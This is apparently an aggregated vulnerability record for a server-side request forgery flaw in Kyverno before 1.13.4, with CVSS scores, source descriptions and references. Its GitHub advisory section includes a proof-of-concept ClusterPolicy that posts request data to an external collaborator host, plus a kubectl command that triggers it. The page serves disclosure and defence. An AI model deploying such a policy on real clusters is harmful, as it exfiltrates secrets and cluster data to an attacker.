6.9medium
Kyverno before v1.13.4 SSRF via Service Call
- Severity
- 6.9medium CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.27% (higher than 19% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-459x-q9hg-4gpqBIT-KYVERNO-2025-15613GO-2025-3615
Description
Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| kyverno kyverno | before 1.13.4 Not affected: 1.13.4 | CVE List |
| github.com/kyverno/kyverno (Go) | up to 1.13.4, all versions | GitHub Advisory Database, Go Vulnerability Database |
| kyverno (Bitnami) | before 1.13.4 | Bitnami Vulnerability Database |
All scores
| VulnCheck | 6.9medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L |
| VulnCheck | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| Bitnami Vulnerability Database | medium rating |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.
GitHub Advisory Database
Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs: Снимок экрана 2025-02-21 в 17 31 25
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
Go Vulnerability Database
Kyverno vulnerable to SSRF via Service Calls in github.com/kyverno/kyverno
NVD (es)
Kyverno en versiones anteriores a la 1.13.4 es vulnerable a falsificación de petición del lado del servidor (SSRF) a través de su funcionalidad Llamada de Servicio. Un atacante con permiso para crear Políticas (de clúster) de Kyverno puede especificar una URL externa en la configuración apiCall/service de una política; aunque la Llamada de Servicio está documentada para servicios dentro del clúster, también resuelve direcciones externas, permitiendo solicitudes a un servidor controlado por el atacante. Dado que los datos de contexto de la política (incluidos los contenidos de recursos de Kubernetes como secretos) se envían en estas solicitudes, un atacante puede exfiltrar datos sensibles del clúster.
References
| https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq | advisory, vendor-advisory, web | |
| https://www.vulncheck.com/advisories/kyverno-before-1.13.4-ssrf-via-service-call | third-party-advisory, web | |
| https://github.com/kyverno/kyverno | package | |
| https://pkg.go.dev/vuln/GO-2025-3615 | web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-15613 | web | |
Related
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-15613 changed 2026-09-01 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-459x-q9hg-4gpq changed 2026-09-18 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-3615 changed 2026-09-18 | CC-BY-4.0 |
| NVD | CVE-2025-15613 changed 2026-10-19 | Public domain |
| Bitnami Vulnerability Database | BIT-KYVERNO-2025-15613 changed 2026-09-18 | Apache-2.0 |